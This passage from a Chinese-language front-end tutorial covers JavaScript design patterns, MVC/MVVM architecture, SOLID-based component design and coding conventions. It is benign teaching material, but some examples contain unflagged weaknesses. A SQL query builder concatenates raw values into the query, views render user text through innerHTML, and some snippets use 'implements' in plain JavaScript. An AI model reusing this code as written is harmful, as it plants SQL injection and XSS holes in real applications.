console.log(editor.getContent()); // 第一行

editor.restore(history.pop());
console.log(editor.getContent()); // 第一

editor.restore(history.pop());
console.log(editor.getContent()); // 第

17. 状态模式

定义

状态模式(State Pattern)允许一个对象在其内部状态改变时改变它的行为。

代码实现

class State {
  constructor(name) { this.name = name; }
  handle(context) { throw new Error('抽象方法'); }
}

class OpenState extends State {
  constructor() { super('open'); }
  handle(context) {
    console.log('门已打开');
    context.setState(new ClosedState());
  }
}

class ClosedState extends State {
  constructor() { super('closed'); }
  handle(context) {
    console.log('门已关闭');
    context.setState(new LockedState());
  }
}

class LockedState extends State {
  constructor() { super('locked'); }
  handle(context) {
    console.log('门已锁定');
    context.setState(new OpenState());
  }
}

class Door {
  constructor() {
    this.state = new ClosedState();
  }
  
  setState(state) {
    this.state = state;
  }
  
  press() {
    this.state.handle(this);
  }
  
  getState() { return this.state.name; }
}

// 使用
const door = new Door();
door.press(); // 门已关闭
door.press(); // 门已锁定
door.press(); // 门已打开

// 实际应用:订单状态
const orderStates = {
  pending: {
    next: 'paid',
    actions: { pay: () => '付款' }
  },
  paid: {
    next: 'shipped',
    actions: { ship: () => '发货' }
  },
  shipped: {
    next: 'delivered',
    actions: { deliver: () => '签收' }
  },
  delivered: {
    next: null,
    actions: {}
  }
};

class Order {
  constructor() { this.state = 'pending'; }
  
  transition(action) {
    const currentState = orderStates[this.state];
    if (currentState.actions[action]) {
      console.log(currentState.actions[action]());
      if (currentState.next) {
        this.state = currentState.next;
        console.log(`订单状态变更为: ${this.state}`);
      }
    } else {
      console.log(`当前状态不能执行 ${action}`);
    }
  }
}

18. 模板方法模式

定义

模板方法模式(Template Method Pattern)定义一个操作中的算法骨架,将某些步骤延迟到子类中实现。

代码实现

class Beverage {
  // 模板方法
  prepare() {
    this.boilWater();
    this.brew();
    this.pourInCup();
    this.addCondiments();
  }
  
  boilWater() { console.log('烧开水'); }
  pourInCup() { console.log('倒入杯中'); }
  
  brew() { throw new Error('子类必须实现'); }
  addCondiments() { throw new Error('子类必须实现'); }
}

class Coffee extends Beverage {
  brew() { console.log('冲泡咖啡'); }
  addCondiments() { console.log('加糖和牛奶'); }
}

class Tea extends Beverage {
  brew() { console.log('冲泡茶叶'); }
  addCondiments() { console.log('加柠檬'); }
}

// 使用
const coffee = new Coffee();
coffee.prepare();
// 烧开水
// 冲泡咖啡
// 倒入杯中
// 加糖和牛奶

// 前端应用:页面初始化流程
class PageInitializer {
  init() {
    this.loadConfig();
    this.initComponents();
    this.bindEvents();
    this.render();
  }
  
  loadConfig() { console.log('加载配置'); }
  initComponents() { console.log('初始化组件'); }
  bindEvents() { console.log('绑定事件'); }
  render() { console.log('渲染页面'); }
}

19. 责任链模式

定义

责任链模式(Chain of Responsibility Pattern)使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。

代码实现

class Handler {
  constructor() {
    this.nextHandler = null;
  }
  
  setNext(handler) {
    this.nextHandler = handler;
    return handler;
  }
  
  handle(request) {
    if (this.nextHandler) {
      return this.nextHandler.handle(request);
    }
    return null;
  }
}

class AuthHandler extends Handler {
  handle(request) {
    if (!request.token) {
      return { success: false, message: '未认证' };
    }
    console.log('认证通过');
    return super.handle(request);
  }
}

class PermissionHandler extends Handler {
  handle(request) {
    if (!request.permissions.includes('admin')) {
      return { success: false, message: '权限不足' };
    }
    console.log('权限通过');
    return super.handle(request);
  }
}

class LogHandler extends Handler {
  handle(request) {
    console.log('记录日志:', request);
    return super.handle(request);
  }
}

class BusinessHandler extends Handler {
  handle(request) {
    console.log('处理业务逻辑');
    return { success: true, data: '业务数据' };
  }
}

// 使用
const auth = new AuthHandler();
const permission = new PermissionHandler();
const log = new LogHandler();
const business = new BusinessHandler();

auth.setNext(permission).setNext(log).setNext(business);

const result = auth.handle({
  token: 'valid-token',
  permissions: ['admin', 'user']
});
// 认证通过
// 权限通过
// 记录日志: { token: 'valid-token', permissions: [ 'admin', 'user' ] }
// 处理业务逻辑
// { success: true, data: '业务数据' }

// Koa 中间件示例
function compose(middlewares) {
  return function(ctx) {
    function dispatch(index) {
      if (index >= middlewares.length) return Promise.resolve();
      const middleware = middlewares[index];
      return Promise.resolve(middleware(ctx, () => dispatch(index + 1)));
    }
    return dispatch(0);
  };
}

20. 享元模式

定义

享元模式(Flyweight Pattern)运用共享技术有效地支持大量细粒度的对象。

代码实现

class FlyweightFactory {
  constructor() {
    this.flyweights = {};
  }
  
  get(key) {
    if (!this.flyweights[key]) {
      this.flyweights[key] = this.createFlyweight(key);
    }
    return this.flyweights[key];
  }
  
  createFlyweight(key) {
    return { type: key, shared: true };
  }
  
  getCount() {
    return Object.keys(this.flyweights).length;
  }
}

// 实际应用:DOM 对象池
class DOMPool {
  constructor() {
    this.pools = {};
  }
  
  getElement(tagName) {
    if (!this.pools[tagName]) {
      this.pools[tagName] = [];
    }
    const element = this.pools[tagName].pop();
    return element || document.createElement(tagName);
  }
  
  releaseElement(element) {
    const tagName = element.tagName.toLowerCase();
    if (!this.pools[tagName]) {
      this.pools[tagName] = [];
    }
    element.innerHTML = '';
    element.className = '';
    this.pools[tagName].push(element);
  }
}

// 实际应用:图标缓存
const iconCache = {};
function getIcon(name) {
  if (!iconCache[name]) {
    iconCache[name] = `<svg class="icon icon-${name}">...</svg>`;
  }
  return iconCache[name];
}

21. 建造者模式

定义

建造者模式(Builder Pattern)将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。

代码实现

class Form {
  constructor() {
    this.fields = [];
    this.title = '';
    this.action = '';
    this.method = 'POST';
  }
  
  setTitle(title) { this.title = title; return this; }
  setAction(action) { this.action = action; return this; }
  setMethod(method) { this.method = method; return this; }
  addField(field) { this.fields.push(field); return this; }
  
  build() {
    return {
      title: this.title,
      action: this.action,
      method: this.method,
      fields: this.fields
    };
  }
}

// 使用
const loginForm = new Form()
  .setTitle('登录')
  .setAction('/api/login')
  .setMethod('POST')
  .addField({ name: 'username', type: 'text', required: true })
  .addField({ name: 'password', type: 'password', required: true })
  .build();

console.log(loginForm);
// {
//   title: '登录',
//   action: '/api/login',
//   method: 'POST',
//   fields: [
//     { name: 'username', type: 'text', required: true },
//     { name: 'password', type: 'password', required: true }
//   ]
// }

// 链式调用构建查询参数
class QueryBuilder {
  constructor(table) {
    this.table = table;
    this.conditions = [];
    this._orderBy = '';
    this._limit = 0;
  }
  
  where(field, operator, value) {
    this.conditions.push(`${field} ${operator} '${value}'`);
    return this;
  }
  
  orderBy(field, direction = 'ASC') {
    this._orderBy = `ORDER BY ${field} ${direction}`;
    return this;
  }
  
  limit(n) {
    this._limit = `LIMIT ${n}`;
    return this;
  }
  
  build() {
    let sql = `SELECT * FROM ${this.table}`;
    if (this.conditions.length) {
      sql += ` WHERE ${this.conditions.join(' AND ')}`;
    }
    if (this._orderBy) sql += ` ${this._orderBy}`;
    if (this._limit) sql += ` ${this._limit}`;
    return sql;
  }
}

const query = new QueryBuilder('users')
  .where('age', '>', 18)
  .where('status', '=', 'active')
  .orderBy('created_at', 'DESC')
  .limit(10)
  .build();

console.log(query);
// SELECT * FROM users WHERE age > '18' AND status = 'active' ORDER BY created_at DESC LIMIT 10

22. 原型模式

定义

原型模式(Prototype Pattern)用原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象。

代码实现

class Prototype {
  constructor() {
    this.objects = {};
  }
  
  register(name, obj) {
    this.objects[name] = obj;
  }
  
  clone(name) {
    if (!this.objects[name]) {
      throw new Error(`未找到原型对象: ${name}`);
    }
    return JSON.parse(JSON.stringify(this.objects[name]));
  }
}

// 使用
const proto = new Prototype();
proto.register('user', {
  name: '匿名用户',
  age: 0,
  role: 'user',
  permissions: []
});

const user1 = proto.clone('user');
user1.name = '张三';
user1.age = 25;

const user2 = proto.clone('user');
user2.name = '李四';
user2.age = 30;

console.log(user1.name); // 张三
console.log(user2.name); // 李四

// Object.create 原型模式
const shape = {
  type: 'shape',
  color: 'red',
  draw() { console.log(`画一个${this.color}${this.type}`); }
};

const circle = Object.create(shape);
circle.type = '圆形';
circle.color = '蓝色';
circle.draw(); // 画一个蓝色的圆形

23. 组合模式

定义

组合模式(Composite Pattern)将对象组合成树形结构以表示"部分-整体"的层次结构。

代码实现

class Component {
  constructor(name) {
    this.name = name;
    this.children = [];
  }
  
  add(component) {
    this.children.push(component);
    return this;
  }
  
  remove(component) {
    this.children = this.children.filter(c => c !== component);
  }
  
  operation(indent = 0) {
    const prefix = '  '.repeat(indent);
    console.log(`${prefix}${this.name}`);
    this.children.forEach(child => child.operation(indent + 1));
  }
}

// 使用:文件系统
const root = new Component('根目录');
const documents = new Component('文档');
const pictures = new Component('图片');
const report = new Component('报告.doc');
const photo = new Component('photo.jpg');

root.add(documents).add(pictures);
documents.add(report);
pictures.add(photo);

root.operation();
// 根目录
//   文档
//     报告.doc
//   图片
//     photo.jpg

// 使用:菜单组件
const menu = new Component('菜单');
const fileMenu = new Component('文件');
const editMenu = new Component('编辑');
const newFile = new Component('新建');
const openFile = new Component('打开');

menu.add(fileMenu).add(editMenu);
fileMenu.add(newFile).add(openFile);

menu.operation();

24. 桥接模式

定义

桥接模式(Bridge Pattern)将抽象部分与实现部分分离,使它们都可以独立地变化。

代码实现

// 实现部分
class Renderer {
  renderCircle(radius) { throw new Error('抽象方法'); }
}

class CanvasRenderer extends Renderer {
  renderCircle(radius) {
    return `Canvas 绘制半径为${radius}的圆`;
  }
}

class SVGRenderer extends Renderer {
  renderCircle(radius) {
    return `SVG 绘制半径为${radius}的圆`;
  }
}

// 抽象部分
class Shape {
  constructor(renderer) {
    this.renderer = renderer;
  }
  draw() { throw new Error('抽象方法'); }
}

class Circle extends Shape {
  constructor(renderer, radius) {
    super(renderer);
    this.radius = radius;
  }
  draw() {
    console.log(this.renderer.renderCircle(this.radius));
  }
}

// 使用
const canvasCircle = new Circle(new CanvasRenderer(), 10);
const svgCircle = new Circle(new SVGRenderer(), 20);

canvasCircle.draw(); // Canvas 绘制半径为10的圆
svgCircle.draw();     // SVG 绘制半径为20的圆

二、前端架构设计

25. 前端架构 / 前端架构设计

定义

前端架构是对前端应用的整体结构设计,包括代码组织、模块划分、技术选型、数据流管理等方面。

架构演进

阶段 特点 代表技术
传统多页应用 服务端渲染、页面刷新 JSP/PHP/ASP
AJAX 时代 局部刷新、前后端分离雏形 jQuery + AJAX
单页应用(SPA) 前端路由、组件化 Angular/React/Vue
组件化时代 细粒度组件、状态管理 React/Vue + Redux/Vuex
微前端 多团队协作、独立部署 qiankun/Micro App

架构设计原则

  1. 单一职责:每个模块/组件只负责一个功能
  2. 高内聚低耦合:相关功能集中,不相关功能隔离
  3. 可复用性:组件/工具可在多处使用
  4. 可扩展性:新增功能不影响现有架构
  5. 可维护性:代码结构清晰、易于理解和修改

典型前端项目架构

src/
├── api/              # API 请求层
│   ├── modules/      # 按业务模块划分
│   └── index.js      # axios 实例配置
├── assets/           # 静态资源
├── components/       # 公共组件
│   ├── common/       # 通用组件
│   └── business/     # 业务组件
├── hooks/            # 自定义 Hooks
├── layouts/          # 布局组件
├── pages/            # 页面组件
│   ├── Home/
│   └── Login/
├── router/           # 路由配置
├── store/            # 状态管理
│   ├── modules/      # 按模块划分
│   └── index.js
├── styles/           # 全局样式
│   ├── variables/    # 变量
│   └── mixins/       # 混合
├── utils/            # 工具函数
├── types/            # TypeScript 类型
└── main.js           # 入口文件

26. 如何对前端项目进行代码的组织与架构设计?

问题拆解

维度 考虑因素 方案
代码组织 项目规模、团队人数、技术栈 按功能/按类型分层
状态管理 数据复杂度、组件层级 局部状态 / Vuex / Redux / 原子化
路由设计 页面数量、嵌套层级、权限控制 按路由分模块
API 管理 接口数量、复用程度 按业务模块划分
组件设计 复用性、独立性 公共组件 / 业务组件分离

按功能分模块(推荐)

src/
├── modules/
│   ├── auth/           # 认证模块
│   │   ├── components/
│   │   ├── pages/
│   │   ├── store/
│   │   ├── api/
│   │   └── routes.js
│   ├── user/           # 用户模块
│   │   ├── components/
│   │   ├── pages/
│   │   ├── store/
│   │   ├── api/
│   │   └── routes.js
│   └── order/          # 订单模块
│       ├── components/
│       ├── pages/
│       ├── store/
│       ├── api/
│       └── routes.js
├── shared/             # 共享资源
│   ├── components/
│   ├── hooks/
│   ├── utils/
│   └── styles/
└── app.js

技术选型建议

  1. 小型项目:Vue/React + 组件库 + 简单状态
  2. 中大型项目:Vue/React + Vuex/Redux + TypeScript
  3. 微前端:qiankun + 独立子应用
  4. SSR:Nuxt.js / Next.js

27. MVC 架构

定义

MVC(Model-View-Controller)将应用分为三个部分:

  • Model(模型):数据和业务逻辑
  • View(视图):用户界面
  • Controller(控制器):处理用户输入,更新 Model 和 View

原理

用户操作 View → Controller 接收输入 → 更新 Model → Model 通知 View 更新

代码示例

// Model
class TodoModel {
  constructor() {
    this.todos = [];
    this.listeners = [];
  }
  
  addTodo(text) {
    this.todos.push({ text, done: false });
    this.notify();
  }
  
  subscribe(listener) {
    this.listeners.push(listener);
  }
  
  notify() {
    this.listeners.forEach(l => l(this.todos));
  }
}

// View
class TodoView {
  render(todos) {
    const html = todos.map(t => 
      `<li>${t.done ? '✅' : '⬜'} ${t.text}</li>`
    ).join('');
    document.getElementById('todo-list').innerHTML = html;
  }
}

// Controller
class TodoController {
  constructor(model, view) {
    this.model = model;
    this.view = view;
    this.model.subscribe(todos => this.view.render(todos));
  }
  
  addTodo(text) {
    this.model.addTodo(text);
  }
}

// 使用
const model = new TodoModel();
const view = new TodoView();
const controller = new TodoController(model, view);
controller.addTodo('学习 MVC');
controller.addTodo('学习设计模式');

28. MVP 架构

定义

MVP(Model-View-Presenter)中 Presenter 充当 View 和 Model 的中间人,View 不直接与 Model 通信。

与 MVC 的区别

  • MVC 中 View 可以直接观察 Model
  • MVP 中 View 和 Model 完全隔离,通过 Presenter 交互
  • Presenter 持有 View 的引用,主动更新 View

代码示例

// View(被动)
class TodoView {
  constructor(presenter) {
    this.presenter = presenter;
    this.bindEvents();
  }
  
  bindEvents() {
    document.getElementById('add-btn').addEventListener('click', () => {
      const text = document.getElementById('input').value;
      this.presenter.addTodo(text);
    });
  }
  
  render(todos) {
    document.getElementById('todo-list').innerHTML = todos
      .map(t => `<li>${t.text}</li>`)
      .join('');
  }
}

// Presenter
class TodoPresenter {
  constructor(model, view) {
    this.model = model;
    this.view = view;
    this.model.subscribe(todos => this.view.render(todos));
  }
  
  addTodo(text) {
    this.model.addTodo(text);
  }
}

29. MVVM 架构

定义

MVVM(Model-View-ViewModel)通过 ViewModel 实现 Model 和 View 的双向数据绑定,View 的变化自动反映到 Model,反之亦然。

原理

  • 双向数据绑定:View ↔ ViewModel ↔ Model
  • 数据驱动:无需手动操作 DOM,数据变化自动更新视图

MVVM 实现

// 简易 MVVM 实现
class MVVM {
  constructor(options) {
    this.$el = document.querySelector(options.el);
    this.$data = options.data;
    this.init();
  }
  
  init() {
    this.observe(this.$data);
    this.compile(this.$el);
  }
  
  // 数据劫持
  observe(data) {
    Object.keys(data).forEach(key => {
      this.defineReactive(data, key, data[key]);
    });
  }
  
  defineReactive(obj, key, value) {
    const dep = [];
    Object.defineProperty(obj, key, {
      get() {
        if (MVVM.target && !dep.includes(MVVM.target)) {
          dep.push(MVVM.target);
        }
        return value;
      },
      set(newVal) {
        if (newVal !== value) {
          value = newVal;
          dep.forEach(watcher => watcher());
        }
      }
    });
  }
  
  // 编译模板
  compile(el) {
    const nodes = el.childNodes;
    nodes.forEach(node => {
      if (node.nodeType === 1) { // 元素节点
        const text = node.textContent;
        const matches = text.match(/\{\{(.+?)\}\}/);
        if (matches) {
          const key = matches[1].trim();
          new Watcher(this, node, key);
        }
        this.compile(node);
      }
    });
  }
}

class Watcher {
  constructor(vm, node, key) {
    this.vm = vm;
    this.node = node;
    this.key = key;
    this.update();
  }
  
  update() {
    MVVM.target = this.update.bind(this);
    this.node.textContent = this.vm.$data[this.key];
    MVVM.target = null;
  }
}

// 使用
const vm = new MVVM({
  el: '#app',
  data: { message: 'Hello MVVM!' }
});

30. MVC 与 MVVM 的区别

维度 MVC MVVM
数据绑定 单向/手动 双向/自动
View 与 Model 可通过 Controller 间接交互 完全隔离,通过 ViewModel 绑定
DOM 操作 需要手动操作 框架自动处理
适用框架 Backbone.js、Ruby on Rails Vue.js、Angular、WPF
开发效率 较低,需手动同步 较高,数据驱动

选择策略

  • 简单项目/服务端渲染 → MVC
  • 富交互/数据驱动应用 → MVVM

31. 前端分层架构

分层设计

层次 职责 示例
展示层(View) UI 渲染、用户交互 React/Vue 组件
业务逻辑层(Service) 业务规则、数据处理 服务类、工具函数
数据访问层(API/Repository) 数据请求、数据转换 Axios 封装、API 模块
状态管理层(Store) 全局状态管理 Vuex/Redux

代码组织

src/
├── views/          # 展示层:页面组件
├── components/     # 展示层:可复用组件
├── services/       # 业务逻辑层
├── repositories/   # 数据访问层
├── stores/         # 状态管理层
└── utils/          # 工具层

优点

  • 关注点分离:各层职责明确
  • 可测试性:每层可独立测试
  • 可替换性:替换某层不影响其他层

32. 前端模块化

定义

将代码拆分为独立的模块,每个模块封装特定的功能。

模块化规范演进

规范 环境 特点
IIFE 浏览器早期 立即执行函数,避免全局污染
AMD 浏览器 require.js,异步加载
CommonJS Node.js require/module.exports,同步加载
ES Modules 现代浏览器 import/export,静态分析

代码示例

// ES Modules
// math.js
export const PI = 3.14159;
export function add(a, b) { return a + b; }
export default class Calculator {}

// main.js
import Calculator, { PI, add } from './math.js';

// CommonJS
// math.js
module.exports = { PI: 3.14159, add: (a, b) => a + b };

// main.js
const { PI, add } = require('./math');

33. 前端组件化 / 组件化开发

定义

组件化是将 UI 拆分为独立、可复用的单元,每个组件包含自己的模板、样式和逻辑。

组件设计原则

原则 说明 示例
单一职责 一个组件只做一件事 Button 只负责按钮点击
高内聚 相关功能集中 表单组件包含验证逻辑
低耦合 组件间依赖最小化 通过 Props 传递数据
可复用 可在多处使用 通用 Input 组件
可组合 组件可以嵌套组合 Form > Input + Button

Vue 组件示例

<template>
  <button 
    :class="['btn', `btn-${type}`, { 'btn-disabled': disabled }]"
    :disabled="disabled"
    @click="handleClick"
  >
    <slot></slot>
  </button>
</template>

<script>
export default {
  name: 'BaseButton',
  props: {
    type: { type: String, default: 'default' },
    disabled: { type: Boolean, default: false }
  },
  emits: ['click'],
  methods: {
    handleClick(e) {
      if (!this.disabled) {
        this.$emit('click', e);
      }
    }
  }
}
</script>

三、组件设计原则

34. 组件设计原则概述

组件设计遵循 SOLID 原则和迪米特法则,这些原则不仅适用于面向对象编程,也适用于前端组件设计。


35. 单一职责原则(SRP)

定义

一个组件/模块只负责一项职责,只有一种引起它变化的原因。

原理

职责过多会导致组件臃肿、难以维护和测试。拆分职责后每个组件更专注、更易于复用。

示例

// 违反 SRP:一个组件做太多事
class UserComponent {
  loadUserData() { /* 加载数据 */ }
  renderUser() { /* 渲染用户信息 */ }
  validateForm() { /* 验证表单 */ }
  submitForm() { /* 提交表单 */ }
  sendEmail() { /* 发送邮件 */ }
}

// 符合 SRP:拆分为多个组件
class UserLoader { loadUserData() { /* 加载数据 */ } }
class UserView { renderUser() { /* 渲染用户信息 */ } }
class FormValidator { validateForm() { /* 验证表单 */ } }
class FormSubmitter { submitForm() { /* 提交表单 */ } }
class EmailService { sendEmail() { /* 发送邮件 */ } }

常见误区

  • 过度拆分导致碎片化
  • 职责边界模糊

36. 开闭原则(OCP)

定义

对扩展开放,对修改关闭。软件实体应该可以扩展,但不应该被修改。

示例

// 违反 OCP:新增类型需要修改源码
function getDiscount(type, price) {
  if (type === 'vip') return price * 0.9;
  if (type === 'svip') return price * 0.8;
  if (type === 'vvip') return price * 0.7; // 每次新增都要修改
  return price;
}

// 符合 OCP:使用策略模式扩展
const discounts = {
  vip: (price) => price * 0.9,
  svip: (price) => price * 0.8,
};

function getDiscount(type, price) {
  const strategy = discounts[type];
  return strategy ? strategy(price) : price;
}

// 扩展无需修改原代码
discounts.vvip = (price) => price * 0.7;

37. 里氏替换原则(LSP)

定义

子类对象能够替换其父类对象,且程序逻辑不变。

示例

// 违反 LSP:子类改变了父类行为
class Bird {
  fly() { console.log('飞'); }
}

class Penguin extends Bird {
  fly() { throw new Error('企鹅不会飞'); } // 改变了父类行为
}

// 符合 LSP
class Bird {
  move() { console.log('移动'); }
}

class Sparrow extends Bird {
  move() { this.fly(); }
  fly() { console.log('飞'); }
}

class Penguin extends Bird {
  move() { this.swim(); }
  swim() { console.log('游泳'); }
}

38. 接口隔离原则(ISP)

定义

客户端不应依赖它不需要的接口。应该将大接口拆分为小接口。

示例

// 违反 ISP:一个大接口
class Worker {
  work() {}
  eat() {}
  sleep() {}
}

class Robot implements Worker {
  work() { /* 工作 */ }
  eat() { throw new Error('机器人不需要吃饭'); }
  sleep() { throw new Error('机器人不需要睡觉'); }
}

// 符合 ISP:拆分接口
class Workable { work() {} }
class Eatable { eat() {} }
class Sleepable { sleep() {} }

class Robot implements Workable {
  work() { /* 工作 */ }
}

class Human implements Workable, Eatable, Sleepable {
  work() { /* 工作 */ }
  eat() { /* 吃饭 */ }
  sleep() { /* 睡觉 */ }
}

39. 依赖倒置原则(DIP)

定义

高层模块不应依赖低层模块,二者都应依赖抽象。抽象不应依赖细节,细节应依赖抽象。

示例

// 违反 DIP:高层直接依赖低层
class OrderService {
  constructor() {
    this.db = new MySQLDatabase(); // 直接依赖具体实现
  }
  
  saveOrder(order) {
    this.db.connect();
    this.db.save(order);
  }
}

// 符合 DIP:依赖抽象
class OrderService {
  constructor(database) {
    this.db = database; // 依赖抽象接口
  }
  
  saveOrder(order) {
    this.db.connect();
    this.db.save(order);
  }
}

// 使用时注入具体实现
const mysqlService = new OrderService(new MySQLDatabase());
const mongoService = new OrderService(new MongoDBDatabase());

40. 迪米特法则(LOD)

定义

一个对象应该对其他对象有最少的了解,只与直接朋友通信。

示例

// 违反 LOD:了解太多内部结构
class Company {
  getDepartments() { return [...]; }
}

class Department {
  getEmployees() { return [...]; }
}

// 不好:需要了解公司内部结构
function getEmployeeCount(company) {
  let count = 0;
  company.getDepartments().forEach(dept => {
    count += dept.getEmployees().length;
  });
  return count;
}

// 符合 LOD:封装内部结构
class Company {
  getEmployeeCount() {
    // 内部逻辑对外隐藏
    return this.departments.reduce((sum, dept) => 
      sum + dept.employees.length, 0
    );
  }
}

41. 组件复用性

设计原则

维度 建议
Props 设计 类型明确、有默认值、校验
插槽设计 使用 slot 提供扩展点
样式隔离 使用 BEM/CSS Modules/Scoped
事件设计 使用 emits 声明事件
文档完善 提供使用示例和 Props 说明

高复用组件示例

<!-- 通用表格组件 -->
<template>
  <table class="data-table">
    <thead>
      <tr>
        <th v-for="col in columns" :key="col.key">{{ col.title }}</th>
      </tr>
    </thead>
    <tbody>
      <tr v-for="row in data" :key="row.id">
        <td v-for="col in columns" :key="col.key">
          <slot :name="col.key" :row="row" :value="row[col.key]">
            {{ row[col.key] }}
          </slot>
        </td>
      </tr>
    </tbody>
  </table>
</template>

<script>
export default {
  props: {
    columns: {
      type: Array,
      required: true,
      validator: cols => cols.every(c => c.key && c.title)
    },
    data: { type: Array, default: () => [] },
    loading: { type: Boolean, default: false }
  }
}
</script>

42. 组件扩展性

扩展方式

方式 说明 适用场景
Props 传入配置控制行为 控制组件展示
Slots 提供内容插槽 自定义组件内容
Events 暴露事件供外部监听 响应组件交互
Ref 暴露内部方法 需要程序化控制
继承/组合 包装或扩展组件 构建变体组件

代码示例

<!-- 可扩展的卡片组件 -->
<template>
  <div :class="['card', `card-${size}`, { 'card-bordered': bordered }]">
    <!-- 头部扩展 -->
    <div v-if="$slots.header || title" class="card-header">
      <slot name="header">
        <h3>{{ title }}</h3>
      </slot>
    </div>
    
    <!-- 内容区 -->
    <div class="card-body">
      <slot></slot>
    </div>
    
    <!-- 底部扩展 -->
    <div v-if="$slots.footer" class="card-footer">
      <slot name="footer"></slot>
    </div>
  </div>
</template>

<script>
export default {
  props: {
    title: String,
    size: { type: String, default: 'medium', validator: v => ['small', 'medium', 'large'].includes(v) },
    bordered: Boolean
  }
}
</script>

43. 组件可维护性

原则

维度 建议
命名规范 组件名 PascalCase,事件/方法 camelCase
代码结构 统一模板结构:props → data → computed → methods
注释规范 公共组件写 JSDoc,复杂逻辑加注释
类型检查 使用 TypeScript 或 PropTypes
单元测试 核心逻辑和公共组件编写测试
样式管理 使用预处理器、CSS Modules、设计变量

44. 如何设计一个高可复用的表单组件?

问题拆解

维度 需求
表单字段 支持多种类型:input、select、textarea、checkbox 等
表单验证 支持多种规则:必填、长度、正则、异步验证
表单布局 支持横向/纵向布局、栅格布局
表单提交 统一提交、防抖、加载状态
表单状态 脏数据、提交状态、错误状态

实现方案

<!-- 表单容器组件 -->
<template>
  <form @submit.prevent="handleSubmit">
    <div :class="['form', `form-${layout}`]">
      <slot :form="form"></slot>
    </div>
    <slot name="actions"></slot>
  </form>
</template>

<script>
export default {
  props: {
    model: { type: Object, required: true },
    rules: { type: Object, default: () => ({}) },
    layout: { type: String, default: 'vertical' }
  },
  data() {
    return {
      form: {
        values: { ...this.model },
        errors: {},
        touched: {},
        submitting: false
      }
    };
  },
  methods: {
    async validate(field) {
      const rule = this.rules[field];
      if (!rule) return true;
      
      const value = this.form.values[field];
      for (const validator of rule) {
        const error = await validator(value, this.form.values);
        if (error) {
          this.form.errors[field] = error;
          return false;
        }
      }
      delete this.form.errors[field];
      return true;
    },
    
    async handleSubmit() {
      const fields = Object.keys(this.rules);
      let valid = true;
      
      for (const field of fields) {
        if (!(await this.validate(field))) {
          valid = false;
        }
      }
      
      if (valid) {
        this.form.submitting = true;
        try {
          await this.$emit('submit', this.form.values);
        } finally {
          this.form.submitting = false;
        }
      }
    }
  }
}
</script>

<!-- 表单项组件 -->
<template>
  <div class="form-item" :class="{ 'form-item-error': form.errors[name] }">
    <label v-if="label">{{ label }}</label>
    <slot></slot>
    <span v-if="form.errors[name]" class="error-msg">{{ form.errors[name] }}</span>
  </div>
</template>

<!-- 使用 -->
<BaseForm :model="formData" :rules="rules" @submit="onSubmit">
  <template #default="{ form }">
    <FormItem label="用户名" name="username" :form="form">
      <input v-model="form.values.username" @blur="form.touched.username = true" />
    </FormItem>
    
    <FormItem label="邮箱" name="email" :form="form">
      <input v-model="form.values.email" @blur="form.validate('email')" />
    </FormItem>
  </template>
  
  <template #actions>
    <button type="submit" :disabled="form.submitting">提交</button>
  </template>
</BaseForm>

四、代码规范与最佳实践

45. 代码规范 / 编码规范

定义

代码规范是一组约定,用于统一团队的编码风格,提高代码可读性和可维护性。

规范内容

维度 规范内容
命名规范 变量/函数/组件/文件命名约定
格式规范 缩进、换行、空格、括号
注释规范 JSDoc、行注释、块注释
文件组织 导入顺序、模块导出
最佳实践 避免的写法、推荐的写法

46. 命名规范

// 变量/函数:camelCase
const userName = '张三';
function getUserInfo() {}

// 常量:UPPER_SNAKE_CASE
const MAX_RETRY_COUNT = 3;
const API_BASE_URL = '/api';

// 类/组件:PascalCase
class UserService {}
const UserProfile = () => <div>...</div>;

// 私有变量:_ 前缀
const _privateData = {};

// 布尔值:is/has/should 前缀
const isLoading = true;
const hasPermission = false;
const shouldUpdate = true;

// 事件处理:handle 前缀
function handleClick() {}
function handleSubmit() {}

// 回调函数:on 前缀
function onComplete() {}
function onError() {}

// 文件命名
// 组件:PascalCase.vue / .jsx
// 工具:camelCase.js
// 常量:UPPER_CASE.js

47. 注释规范

/**
 * 格式化日期
 * @param {Date|string|number} date - 日期对象或时间戳
 * @param {string} [format='YYYY-MM-DD'] - 格式化模板
 * @returns {string} 格式化后的日期字符串
 * @example
 * formatDate(new Date(), 'YYYY/MM/DD') // '2024/01/01'
 */
function formatDate(date, format = 'YYYY-MM-DD') {
  // 处理时间戳
  if (typeof date === 'number') {
    date = new Date(date);
  }
  
  // TODO: 支持更多格式化选项
  
  // HACK: 临时方案,需要后续优化
  return format.replace('YYYY', date.getFullYear());
}

// FIXME: 这里有性能问题,需要优化
// NOTE: 这个改动是因为需求变更
// WARN: 注意这个边界情况

48. ESLint

定义

ESLint 是一个可配置的 JavaScript 代码检查工具。

配置示例

// .eslintrc.js
module.exports = {
  root: true,
  env: { browser: true, es2021: true, node: true },
  extends: [
    'eslint:recommended',
    'plugin:vue/vue3-recommended',
    '@vue/typescript'
  ],
  parserOptions: {
    ecmaVersion: 'latest',
    parser: '@typescript-eslint/parser'
  },
  rules: {
    // 错误级别
    'no-console': process.env.NODE_ENV === 'production' ? 'error' : 'warn',
    'no-debugger': process.env.NODE_ENV === 'production' ? 'error' : 'off',
    
    // 风格规则
    'semi': ['error', 'always'],
    'quotes': ['error', 'single'],
    'indent': ['error', 2],
    
    // 最佳实践
    'eqeqeq': ['error', 'always'],
    'no-unused-vars': 'error',
    'prefer-const': 'error'
  }
};

49. Prettier

定义

Prettier 是一个代码格式化工具,自动统一代码风格。

配置示例

// .prettierrc
{
  "semi": true,
  "singleQuote": true,
  "tabWidth": 2,
  "trailingComma": "es5",
  "printWidth": 100,
  "arrowParens": "avoid",
  "bracketSpacing": true
}

ESLint + Prettier 集成

// package.json
{
  "scripts": {
    "lint": "eslint src --ext .js,.vue --fix",
    "format": "prettier --write src/**/*.{js,vue,css}"
  }
}

50. Git 提交规范

Conventional Commits 规范

<type>(<scope>): <subject>

<body>

<footer>

Type 类型

Type 说明
feat 新功能
fix Bug 修复
docs 文档变更
style 代码格式(不影响代码运行)
refactor 重构(既不是新功能也不是修复)
perf 性能优化
test 测试相关
chore 构建/工具变更
ci CI 配置变更

示例

feat(user): 添加用户登录功能

实现了基于 JWT 的用户登录验证
- 添加登录表单组件
- 添加登录 API 接口
- 添加 Token 存储逻辑

Closes #123

51. 代码审查(Code Review)

审查清单

维度 检查项
功能 是否满足需求、有无 Bug
